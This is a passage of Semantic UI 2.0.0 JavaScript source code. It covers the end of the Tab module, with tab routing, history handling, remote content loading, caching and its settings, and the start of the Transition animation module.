{\n            // if using $.tab dont add events\n            if( !$.isWindow( element ) ) {\n              module.debug('Attaching tab activation events to element', $module);\n              $module\n                .on('click' + eventNamespace, module.event.click)\n              ;\n            }\n          }\n        },\n\n        determineTabs: function() {\n          var\n            $reference\n          ;\n\n          // determine tab context\n          if(settings.context === 'parent') {\n            if($module.closest(selector.ui).length > 0) {\n              $reference = $module.closest(selector.ui);\n              module.verbose('Using closest UI element as parent', $reference);\n            }\n            else {\n              $reference = $module;\n            }\n            $context = $reference.parent();\n            module.verbose('Determined parent element for creating context', $context);\n          }\n          else if(settings.context) {\n            $context = $(settings.context);\n            module.verbose('Using selector for tab context', settings.context, $context);\n          }\n          else {\n            $context = $('body');\n          }\n          // find tabs\n          if(settings.childrenOnly) {\n            $tabs = $context.children(selector.tabs);\n            module.debug('Searching tab context children for tabs', $context, $tabs);\n          }\n          else {\n            $tabs = $context.find(selector.tabs);\n            module.debug('Searching tab context for tabs', $context, $tabs);\n          }\n        },\n\n        fix: {\n          callbacks: function() {\n            if( $.isPlainObject(parameters) && (parameters.onTabLoad || parameters.onTabInit) ) {\n              if(parameters.onTabLoad) {\n                parameters.onLoad = parameters.onTabLoad;\n                delete parameters.onTabLoad;\n                module.error(error.legacyLoad, parameters.onLoad);\n              }\n              if(parameters.onTabInit) {\n                parameters.onFirstLoad = parameters.onTabInit;\n                delete parameters.onTabInit;\n                module.error(error.legacyInit, parameters.onFirstLoad);\n              }\n              settings = $.extend(true, {}, $.fn.tab.settings, parameters);\n            }\n          }\n        },\n\n        initializeHistory: function() {\n          module.debug('Initializing page state');\n          if( $.address === undefined ) {\n            module.error(error.state);\n            return false;\n          }\n          else {\n            if(settings.historyType == 'state') {\n              module.debug('Using HTML5 to manage state');\n              if(settings.path !== false) {\n                $.address\n                  .history(true)\n                  .state(settings.path)\n                ;\n              }\n              else {\n                module.error(error.path);\n                return false;\n              }\n            }\n            $.address\n              .bind('change', module.event.history.change)\n            ;\n          }\n        },\n\n        event: {\n          click: function(event) {\n            var\n              tabPath = $(this).data(metadata.tab)\n            ;\n            if(tabPath !== undefined) {\n              if(settings.history) {\n                module.verbose('Updating page state', event);\n                $.address.value(tabPath);\n              }\n              else {\n                module.verbose('Changing tab', event);\n                module.changeTab(tabPath);\n              }\n              event.preventDefault();\n            }\n            else {\n              module.debug('No tab specified');\n            }\n          },\n          history: {\n            change: function(event) {\n              var\n                tabPath   = event.pathNames.join('/') || module.get.initialPath(),\n                pageTitle = settings.templates.determineTitle(tabPath) || false\n              ;\n              module.performance.display();\n              module.debug('History change event', tabPath, event);\n              historyEvent = event;\n              if(tabPath !== undefined) {\n                module.changeTab(tabPath);\n              }\n              if(pageTitle) {\n                $.address.title(pageTitle);\n              }\n            }\n          }\n        },\n\n        refresh: function() {\n          if(activeTabPath) {\n            module.debug('Refreshing tab', activeTabPath);\n            module.changeTab(activeTabPath);\n          }\n        },\n\n        cache: {\n\n          read: function(cacheKey) {\n            return (cacheKey !== undefined)\n              ? cache[cacheKey]\n              : false\n            ;\n          },\n          add: function(cacheKey, content) {\n            cacheKey = cacheKey || activeTabPath;\n            module.debug('Adding cached content for', cacheKey);\n            cache[cacheKey] = content;\n          },\n          remove: function(cacheKey) {\n            cacheKey = cacheKey || activeTabPath;\n            module.debug('Removing cached content for', cacheKey);\n            delete cache[cacheKey];\n          }\n        },\n\n        set: {\n          auto: function() {\n            var\n              url = (typeof settings.path == 'string')\n                ? settings.path.replace(/\\/$/, '') + '/{$tab}'\n                : '/{$tab}'\n            ;\n            module.verbose('Setting up automatic tab retrieval from server', url);\n            if($.isPlainObject(settings.apiSettings)) {\n              settings.apiSettings.url = url;\n            }\n            else {\n              settings.apiSettings = {\n                url: url\n              };\n            }\n          },\n          loading: function(tabPath) {\n            var\n              $tab      = module.get.tabElement(tabPath),\n              isLoading = $tab.hasClass(className.loading)\n            ;\n            if(!isLoading) {\n              module.verbose('Setting loading state for', $tab);\n              $tab\n                .addClass(className.loading)\n                .siblings($tabs)\n                  .removeClass(className.active + ' ' + className.loading)\n              ;\n              if($tab.length > 0) {\n                settings.onRequest.call($tab[0], tabPath);\n              }\n            }\n          },\n          state: function(state) {\n            $.address.value(state);\n          }\n        },\n\n        changeTab: function(tabPath) {\n          var\n            pushStateAvailable = (window.history && window.history.pushState),\n            shouldIgnoreLoad   = (pushStateAvailable && settings.ignoreFirstLoad && firstLoad),\n            remoteContent      = (settings.auto || $.isPlainObject(settings.apiSettings) ),\n            // only add default path if not remote content\n            pathArray = (remoteContent && !shouldIgnoreLoad)\n              ? module.utilities.pathToArray(tabPath)\n              : module.get.defaultPathArray(tabPath)\n          ;\n          tabPath = module.utilities.arrayToPath(pathArray);\n          $.each(pathArray, function(index, tab) {\n            var\n              currentPathArray   = pathArray.slice(0, index + 1),\n              currentPath        = module.utilities.arrayToPath(currentPathArray),\n\n              isTab              = module.is.tab(currentPath),\n              isLastIndex        = (index + 1 == pathArray.length),\n\n              $tab               = module.get.tabElement(currentPath),\n              $anchor,\n              nextPathArray,\n              nextPath,\n              isLastTab\n            ;\n            module.verbose('Looking for tab', tab);\n            if(isTab) {\n              module.verbose('Tab was found', tab);\n              // scope up\n              activeTabPath  = currentPath;\n              parameterArray = module.utilities.filterArray(pathArray, currentPathArray);\n\n              if(isLastIndex) {\n                isLastTab = true;\n              }\n              else {\n                nextPathArray = pathArray.slice(0, index + 2);\n                nextPath      = module.utilities.arrayToPath(nextPathArray);\n                isLastTab     = ( !module.is.tab(nextPath) );\n                if(isLastTab) {\n                  module.verbose('Tab parameters found', nextPathArray);\n                }\n              }\n              if(isLastTab && remoteContent) {\n                if(!shouldIgnoreLoad) {\n                  module.activate.navigation(currentPath);\n                  module.fetch.content(currentPath, tabPath);\n                }\n                else {\n                  module.debug('Ignoring remote content on first tab load', currentPath);\n                  firstLoad = false;\n                  module.cache.add(tabPath, $tab.html());\n                  module.activate.all(currentPath);\n                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n                  settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n                }\n                return false;\n              }\n              else {\n                module.debug('Opened local tab', currentPath);\n                module.activate.all(currentPath);\n                if( !module.cache.read(currentPath) ) {\n                  module.cache.add(currentPath, true);\n                  module.debug('First time tab loaded calling tab init');\n                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n                }\n                settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n              }\n\n            }\n            else if(tabPath.search('/') == -1 && tabPath !== '') {\n              // look for in page anchor\n              $anchor     = $('#' + tabPath + ', a[name=\"' + tabPath + '\"]');\n              currentPath = $anchor.closest('[data-tab]').data('tab');\n              $tab        = module.get.tabElement(currentPath);\n              // if anchor exists use parent tab\n              if($anchor && $anchor.length > 0 && currentPath) {\n                module.debug('Anchor link used, opening parent tab', $tab, $anchor);\n                if( !$tab.hasClass(className.active) ) {\n                  setTimeout(function() {\n                    module.scrollTo($anchor);\n                  }, 0);\n                }\n                module.activate.all(currentPath);\n                if( !module.cache.read(currentPath) ) {\n                  module.cache.add(currentPath, true);\n                  module.debug('First time tab loaded calling tab init');\n                  settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n                }\n                settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent);\n                return false;\n              }\n            }\n            else {\n              module.error(error.missingTab, $module, $context, currentPath);\n              return false;\n            }\n          });\n        },\n\n        scrollTo: function($element) {\n          var\n            scrollOffset = ($element && $element.length > 0)\n              ? $element.offset().top\n              : false\n          ;\n          if(scrollOffset !== false) {\n            module.debug('Forcing scroll to an in-page link in a hidden tab', scrollOffset, $element);\n            $(document).scrollTop(scrollOffset);\n          }\n        },\n\n        update: {\n          content: function(tabPath, html, evaluateScripts) {\n            var\n              $tab = module.get.tabElement(tabPath),\n              tab  = $tab[0]\n            ;\n            evaluateScripts = (evaluateScripts !== undefined)\n              ? evaluateScripts\n              : settings.evaluateScripts\n            ;\n            if(evaluateScripts) {\n              module.debug('Updating HTML and evaluating inline scripts', tabPath, html);\n              $tab.html(html);\n            }\n            else {\n              module.debug('Updating HTML', tabPath, html);\n              tab.innerHTML = html;\n            }\n          }\n        },\n\n        fetch: {\n\n          content: function(tabPath, fullTabPath) {\n            var\n              $tab        = module.get.tabElement(tabPath),\n              apiSettings = {\n                dataType  : 'html',\n                on        : 'now',\n                cache     : 'local',\n                onSuccess : function(response) {\n                  module.cache.add(fullTabPath, response);\n                  module.update.content(tabPath, response);\n                  if(tabPath == activeTabPath) {\n                    module.debug('Content loaded', tabPath);\n                    module.activate.tab(tabPath);\n                  }\n                  else {\n                    module.debug('Content loaded in background', tabPath);\n                  }\n                  settings.onFirstLoad.call($tab[0], tabPath, parameterArray, historyEvent);\n                  settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent);\n                },\n                urlData: {\n                  tab: fullTabPath\n                }\n              },\n              request         = $tab.api('get request') || false,\n              existingRequest = ( request && request.state() === 'pending' ),\n              requestSettings,\n              cachedContent\n            ;\n\n            fullTabPath   = fullTabPath || tabPath;\n            cachedContent = module.cache.read(fullTabPath);\n\n\n            if(settings.cache && cachedContent) {\n              module.activate.tab(tabPath);\n              module.debug('Adding cached content', fullTabPath);\n              if(settings.evaluateScripts == 'once') {\n                module.update.content(tabPath, cachedContent, false);\n              }\n              else {\n                module.update.content(tabPath, cachedContent);\n              }\n              settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent);\n            }\n            else if(existingRequest) {\n              module.set.loading(tabPath);\n              module.debug('Content is already loading', fullTabPath);\n            }\n            else if($.api !== undefined) {\n              requestSettings = $.extend(true, {\n                headers: {\n                  'X-Remote': true\n                }\n              }, settings.apiSettings, apiSettings);\n              module.debug('Retrieving remote content', fullTabPath, requestSettings);\n              $tab.api(requestSettings);\n            }\n            else {\n              module.error(error.api);\n            }\n          }\n        },\n\n        activate: {\n          all: function(tabPath) {\n            module.activate.tab(tabPath);\n            module.activate.navigation(tabPath);\n          },\n          tab: function(tabPath) {\n            var\n              $tab     = module.get.tabElement(tabPath),\n              isActive = $tab.hasClass(className.active)\n            ;\n            module.verbose('Showing tab content for', $tab);\n            if(!isActive) {\n              $tab\n                .addClass(className.active)\n                .siblings($tabs)\n                  .removeClass(className.active + ' ' + className.loading)\n              ;\n              if($tab.length > 0) {\n                settings.onVisible.call($tab[0], tabPath);\n              }\n            }\n          },\n          navigation: function(tabPath) {\n            var\n              $navigation = module.get.navElement(tabPath),\n              isActive    = $navigation.hasClass(className.active)\n            ;\n            module.verbose('Activating tab navigation for', $navigation, tabPath);\n            if(!isActive) {\n              $navigation\n                .addClass(className.active)\n                .siblings($allModules)\n                  .removeClass(className.active + ' ' + className.loading)\n              ;\n            }\n          }\n        },\n\n        deactivate: {\n          all: function() {\n            module.deactivate.navigation();\n            module.deactivate.tabs();\n          },\n          navigation: function() {\n            $allModules\n              .removeClass(className.active)\n            ;\n          },\n          tabs: function() {\n            $tabs\n              .removeClass(className.active + ' ' + className.loading)\n            ;\n          }\n        },\n\n        is: {\n          tab: function(tabName) {\n            return (tabName !== undefined)\n              ? ( module.get.tabElement(tabName).length > 0 )\n              : false\n            ;\n          }\n        },\n\n        get: {\n          initialPath: function() {\n            return $allModules.eq(0).data(metadata.tab) || $tabs.eq(0).data(metadata.tab);\n          },\n          path: function() {\n            return $.address.value();\n          },\n          // adds default tabs to tab path\n          defaultPathArray: function(tabPath) {\n            return module.utilities.pathToArray( module.get.defaultPath(tabPath) );\n          },\n          defaultPath: function(tabPath) {\n            var\n              $defaultNav = $allModules.filter('[data-' + metadata.tab + '^=\"' + tabPath + '/\"]').eq(0),\n              defaultTab  = $defaultNav.data(metadata.tab) || false\n            ;\n            if( defaultTab ) {\n              module.debug('Found default tab', defaultTab);\n              if(recursionDepth < settings.maxDepth) {\n                recursionDepth++;\n                return module.get.defaultPath(defaultTab);\n              }\n              module.error(error.recursion);\n            }\n            else {\n              module.debug('No default tabs found for', tabPath, $tabs);\n            }\n            recursionDepth = 0;\n            return tabPath;\n          },\n          navElement: function(tabPath) {\n            tabPath = tabPath || activeTabPath;\n            return $allModules.filter('[data-' + metadata.tab + '=\"' + tabPath + '\"]');\n          },\n          tabElement: function(tabPath) {\n            var\n              $fullPathTab,\n              $simplePathTab,\n              tabPathArray,\n              lastTab\n            ;\n            tabPath        = tabPath || activeTabPath;\n            tabPathArray   = module.utilities.pathToArray(tabPath);\n            lastTab        = module.utilities.last(tabPathArray);\n            $fullPathTab   = $tabs.filter('[data-' + metadata.tab + '=\"' + lastTab + '\"]');\n            $simplePathTab = $tabs.filter('[data-' + metadata.tab + '=\"' + tabPath + '\"]');\n            return ($fullPathTab.length > 0)\n              ? $fullPathTab\n              : $simplePathTab\n            ;\n          },\n          tab: function() {\n            return activeTabPath;\n          }\n        },\n\n        utilities: {\n          filterArray: function(keepArray, removeArray) {\n            return $.grep(keepArray, function(keepValue) {\n              return ( $.inArray(keepValue, removeArray) == -1);\n            });\n          },\n          last: function(array) {\n            return $.isArray(array)\n              ? array[ array.length - 1]\n              : false\n            ;\n          },\n          pathToArray: function(pathName) {\n            if(pathName === undefined) {\n              pathName = activeTabPath;\n            }\n            return typeof pathName == 'string'\n              ? pathName.split('/')\n              : [pathName]\n            ;\n          },\n          arrayToPath: function(pathArray) {\n            return $.isArray(pathArray)\n              ? pathArray.join('/')\n              : false\n            ;\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n\n};\n\n// shortcut for tabbed content with no defined navigation\n$.tab = function() {\n  $(window).tab.apply(this, arguments);\n};\n\n$.fn.tab.settings = {\n\n  name            : 'Tab',\n  namespace       : 'tab',\n\n  debug           : false,\n  verbose         : false,\n  performance     : true,\n\n  auto            : false,  // uses pjax style endpoints fetching content from same url with remote-content headers\n  history         : false,  // use browser history\n  historyType     : 'hash', // #/ or html5 state\n  path            : false,  // base path of url\n\n  context         : false,  // specify a context that tabs must appear inside\n  childrenOnly    : false,  // use only tabs that are children of context\n  maxDepth        : 25,     // max depth a tab can be nested\n\n  alwaysRefresh   : false,  // load tab content new every tab click\n  cache           : true,   // cache the content requests to pull locally\n  ignoreFirstLoad : false,  // don't load remote content on first load\n\n  apiSettings     : false,  // settings for api call\n  evaluateScripts : 'once', // whether inline scripts should be parsed (true/false/once). Once will not re-evaluate on cached content\n\n  onFirstLoad : function(tabPath, parameterArray, historyEvent) {}, // called first time loaded\n  onLoad      : function(tabPath, parameterArray, historyEvent) {}, // called on every load\n  onVisible   : function(tabPath, parameterArray, historyEvent) {}, // called every time tab visible\n  onRequest   : function(tabPath, parameterArray, historyEvent) {}, // called ever time a tab beings loading remote content\n\n  templates    : {\n    determineTitle: function(tabArray) {} // returns page title for path\n  },\n\n  error: {\n    api        : 'You attempted to load content without API module',\n    method     : 'The method you called is not defined',\n    missingTab : 'Activated tab cannot be found. Tabs are case-sensitive.',\n    noContent  : 'The tab you specified is missing a content url.',\n    path       : 'History enabled, but no path was specified',\n    recursion  : 'Max recursive depth reached',\n    legacyInit : 'onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.',\n    legacyLoad : 'onTabLoad has been renamed to onLoad in 2.0. Please adjust your code',\n    state      : 'History requires Asual\\'s Address library <https://github.com/asual/jquery-address>'\n  },\n\n  metadata : {\n    tab    : 'tab',\n    loaded : 'loaded',\n    promise: 'promise'\n  },\n\n  className   : {\n    loading : 'loading',\n    active  : 'active'\n  },\n\n  selector    : {\n    tabs : '.ui.tab',\n    ui   : '.ui'\n  }\n\n};\n\n})( jQuery, window , document );\n/*!\n * # Semantic UI 2.0.0 - Transition\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.transition = function() {\n  var\n    $allModules     = $(this),\n    moduleSelector  = $allModules.selector || '',\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    moduleArguments = arguments,\n    query           = moduleArguments[0],\n    queryArguments  = [].slice.call(arguments, 1),\n    methodInvoked   = (typeof query === 'string'),\n\n    requestAnimationFrame = window.requestAnimationFrame\n      || window.mozRequestAnimationFrame\n      || window.webkitRequestAnimationFrame\n      || window.msRequestAnimationFrame\n      || function(callback) { setTimeout(callback, 0); },\n\n    returnedValue\n  ;\n  $allModules\n    .each(function(index) {\n      var\n        $module  = $(this),\n        element  = this,\n\n        // set at run time\n        settings,\n        instance,\n\n        error,\n        className,\n        metadata,\n        animationEnd,\n        animationName,\n\n        namespace,\n        moduleNamespace,\n        eventNamespace,\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n\n          // get full settings\n          settings        = module.get.settings.apply(element, moduleArguments);\n\n          // shorthand\n          className       = settings.className;\n          error           = settings.error;\n          metadata        = settings.metadata;\n\n          // define namespace\n          eventNamespace  = '.' + settings.namespace;\n          moduleNamespace = 'module-' + settings.namespace;\n          instance        = $module.data(moduleNamespace) || module;\n\n          // get vendor specific events\n          animationEnd    = module.get.animationEndEvent();\n\n          if(methodInvoked) {\n            methodInvoked = module.invoke(query);\n          }\n\n          // method not invoked, lets run an animation\n          if(methodInvoked === false) {\n            module.verbose('Converted arguments into settings object', settings);\n            if(settings.interval) {\n              module.delay(settings.animate);\n            }\n            else  {\n              module.animate();\n            }\n            module.instantiate();\n          }\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module for', element);\n          $module\n            .removeData(moduleNamespace)\n          ;\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing display type on next animation');\n          delete module.displayType;\n        },\n\n        forceRepaint: function() {\n          module.verbose('Forcing element repaint');\n          var\n            $parentElement = $module.parent(),\n            $nextElement = $module.next()\n          ;\n          if($nextElement.length === 0) {\n            $module.detach().appendTo($parentElement);\n          }\n          else {\n            $module.detach().insertBefore($nextElement);\n          }\n        },\n\n        repaint: function() {\n          module.verbose('Repainting element');\n          var\n            fakeAssignment = element.offsetWidth\n          ;\n        },\n\n        delay: function(interval) {\n          var\n            direction = module.get.animationDirection(),\n            shouldReverse,\n            delay\n          ;\n          if(!direction) {\n            direction = module.can.transition()\n              ? module.get.direction()\n              : 'static'\n            ;\n          }\n          interval = (interval !== undefined)\n            ? interval\n            : settings.interval\n          ;\n          shouldReverse = (settings.reverse == 'auto' && direction == className.outward);\n          delay = (shouldReverse || settings.reverse == true)\n            ? ($allModules.length - index) * settings.interval\n            : index * settings.interval\n          ;\n          module.debug('Delaying animation by', delay);\n          setTimeout(module.animate, delay);\n        },\n\n        animate: function(overrideSettings) {\n          settings = overrideSettings || settings;\n          if(!module.is.supported()) {\n            module.error(error.support);\n            return false;\n          }\n          module.debug('Preparing animation', settings.animation);\n          if(module.is.animating()) {\n            if(settings.queue) {\n              if(!settings.allowRepeats && module.has.direction() && module.is.occurring() && module.queuing !== true) {\n                module.debug('Animation is currently occurring, preventing queueing same animation', settings.animation);\n              }\n              else {\n                module.queue(settings.animation);\n              }\n              return false;\n            }\n            else if(!settings.allowRepeats && module.is.occurring()) {\n              module.debug('Animation is already occurring, will not execute repeated animation', settings.animation);\n              return false;\n            }\n            else {\n              module.debug('New animation started, completing previous early', settings.animation);\n              instance.complete();\n            }\n          }\n          if( module.can.animate() ) {\n            module.set.animating(settings.animation);\n          }\n          else {\n            module.error(error.noAnimation, settings.animation, element);\n          }\n        },\n\n        reset: function() {\n          module.debug('Resetting animation to beginning conditions');\n          module.remove.animationCallbacks();\n          module.restore.conditions();\n          module.remove.animating();\n        },\n\n        queue: function(animation) {\n          module.debug('Queueing animation of', animation);\n          module.queuing = true;\n          $module\n            .one(animationEnd + '.queue' + eventNamespace, function() {\n              module.queuing = false;\n              module.repaint();\n              module.animate.apply(this, settings);\n            })\n          ;\n        },\n\n        complete: function (event) {\n          module.debug('Animation complete', settings.animation);\n          module.remove.completeCallback();\n          module.remove.failSafe();\n          if(!module.is.looping()) {\n            if( module.is.outward() ) {\n              module.verbose('Animation is outward, hiding element');\n              module.restore.conditions();\n              module.hide();\n            }\n            else if( module.is.inward() ) {\n              module.verbose('Animation is outward, showing element');\n              module.restore.conditions();\n              module.show();\n            }\n            else {\n              module.restore.conditions();\n            }\n          }\n        },\n\n        force: {\n          visible: function() {\n            var\n              style          = $module.attr('style'),\n              userStyle      = module.get.userStyle(),\n              displayType    = module.get.displayType(),\n              overrideStyle  = userStyle + 'display: ' + displayType + ' !important;',\n              currentDisplay = $module.css('display'),\n              emptyStyle     = (style === undefined || style === '')\n            ;\n            if(currentDisplay !== displayType) {\n              module.verbose('Overriding default display to show element', displayType);\n              $module\n                .attr('style', overrideStyle)\n              ;\n            }\n            else if(emptyStyle) {\n              $module.removeAttr('style');\n            }\n          },\n          hidden: function() {\n            var\n              style          = $module.attr('style'),\n              currentDisplay = $module.css('display'),\n              emptyStyle     = (style === undefined || style === '')\n            ;\n            if(currentDisplay !== 'none' && !module.is.hidden()) {\n              module.verbose('Overriding default display to hide element');\n              $module\n                .css('display', 'none')\n              ;\n            }\n            else if(emptyStyle) {\n              $module\n                .removeAttr('style')\n              ;\n            }\n          }\n        },\n\n        has: {\n          direction: function(animation) {\n            var\n              hasDirection = false\n            ;\n            animation = animation || settings.animation;\n            if(typeof animation === 'string') {\n              animation = animation.split(' ');\n              $.each(animation, function(index, word){\n                if(word === className.inward || word === className.outward) {\n                  hasDirection = true;\n                }\n              });\n            }\n            return hasDirection;\n          },\n          inlineDisplay: function() {\n            var\n              style = $module.attr('style') || ''\n            ;\n            return $.isArray(style.match(/display.*?;/, ''));\n          }\n        },\n\n        set: {\n          animating: function(animation) {\n            var\n              animationClass,\n              direction\n            ;\n            // remove previous callbacks\n            module.remove.completeCallback();\n\n            // determine exact animation\n            animation      = animation || settings.animation;\n            animationClass = module.get.animationClass(animation);\n\n            // save animation class in cache to restore class names\n            module.save.animation(animationClass);\n\n            // override display if necessary so animation appears visibly\n            module.force.visible();\n\n            module.remove.hidden();\n            module.remove.direction();\n\n            module.start.animation(animationClass);\n\n          },\n          duration: function(animationName, duration) {\n            duration = duration || settings.duration;\n            duration = (typeof duration == 'number')\n              ? duration + 'ms'\n              : duration\n            ;\n            if(duration || duration === 0) {\n              module.verbose('Setting animation duration', duration);\n              $module\n                .css({\n                  'animation-duration':  duration\n                })\n              ;\n            }\n          },\n          direction: function(direction) {\n            direction = direction || module.get.direction();\n            if(direction == className.inward) {\n              module.set.inward();\n            }\n            else {\n              module.set.outward();\n            }\n          },\n          looping: function() {\n            module.debug('Transition set to loop');\n            $module\n              .addClass(className.looping)\n            ;\n          },\n          hidden: function() {\n            $module\n              .addClass(className.transition)\n              .addClass(className.hidden)\n            ;\n          },\n          inward: function() {\n            module.debug('Setting direction to inward');\n            $module\n              .removeClass(className.outward)\n              .addClass(className.inward)\n            ;\n          },\n          outward: function() {\n            module.debug('Setting direction to outward');\n            $module\n              .removeClass(className.inward)\n              .addClass(className.outward)\n            ;\n          },\n          visible: function() {\n            $module\n              .addClass(className.transition)\n              .addClass(className.visible)\n            ;\n          }\n        },\n\n        start: {\n          animation: function(animationClass) {\n            animationClass = animationClass || module.get.animationClass();\n            module.debug('Starting tween', animationClass);\n            $module\n              .addClass(animationClass)\n              .one(animationEnd + '.complete' + eventNamespace, module.complete)\n            ;\n            if(settings.useFailSafe) {\n              module.add.failSafe();\n            }\n            module.set.duration(settings.duration);\n            settings.onStart.call(this);\n          }\n        },\n\n        save: {\n          animation: function(animation) {\n            if(!module.cache) {\n              module.cache = {};\n            }\n            module.cache.animation = animation;\n          },\n          displayType: function(displayType) {\n            if(displayType !== 'none') {\n              $module.data(metadata.displayType, displayType);\n            }\n          },\n          transitionExists: function(animation, exists) {\n            $.fn.transition.exists[animation] = exists;\n            module.verbose('Saving existence of transition', animation, exists);\n          }\n        },\n\n        restore: {\n          conditions: function() {\n            var\n              animation = module.get.currentAnimation()\n            ;\n            if(animation) {\n              $module\n                .removeClass(animation)\n              ;\n              module.verbose('Removing animation class', module.cache);\n            }\n            module.remove.duration();\n          }\n        },\n\n        add: {\n          failSafe: function() {\n            var\n              duration = module.get.duration()\n            ;\n            module.timer = setTimeout(function() {\n              $module.triggerHandler(animationEnd);\n            }, duration + settings.failSafeDelay);\n            module.verbose('Adding fail safe timer', module.timer);\n          }\n        },\n\n        remove: {\n          animating: function() {\n            $module.removeClass(className.animating);\n          },\n          animationCallbacks: function() {\n            module.remove.queueCallback();\n            module.remove.completeCallback();\n          },\n          queueCallback: function() {\n            $module.off('.queue' + eventNamespace);\n          },\n          completeCallback: function() {\n            $module.off('.complete' + eventNamespace);\n          },\n          display: function() {\n            $module.css('display', '');\n          },\n          direction: function() {\n            $module\n              .removeClass(className.inward)\n              .removeClass(className.outward)\n            ;\n          },\n          duration: function() {\n            $module\n              .css('animation-duration', '')\n            ;\n          },\n          failSafe: function() {\n            module.verbose('Removing fail safe timer', module.timer);\n            if(module.timer) {\n              clearTimeout(module.timer);\n            }\n          },\n          hidden: function() {\n            $module.removeClass(className.hidden);\n          },\n          visible: function() {\n            $module.removeClass(className.visible);\n          },\n          looping: function() {\n            module.debug('Transitions are no longer looping');\n            if( module.is.looping() ) {\n              module.reset();\n              $module\n                .removeClass(className.looping)\n              ;\n            }\n          },\n          transition: function() {\n            $module\n              .removeClass(className.visible)\n              .removeClass(className.hidden)\n            ;\n          }\n        },\n        get: {\n          settings: function(animation, duration, onComplete) {\n            // single settings object\n            if(typeof animation == 'object') {\n              return $.extend(true, {}, $.fn.transition.settings, animation);\n            }\n            // all arguments provided\n            else if(typeof onComplete == 'function') {\n              return $.extend({}, $.fn.transition.settings, {\n                animation  : animation,\n                onComplete : onComplete,\n                duration   : duration\n              });\n            }\n            // only duration provided\n            else if(typeof duration == 'string' || typeof duration == 'number') {\n              return $.extend({}, $.fn.transition.settings, {\n                animation : animation,\n   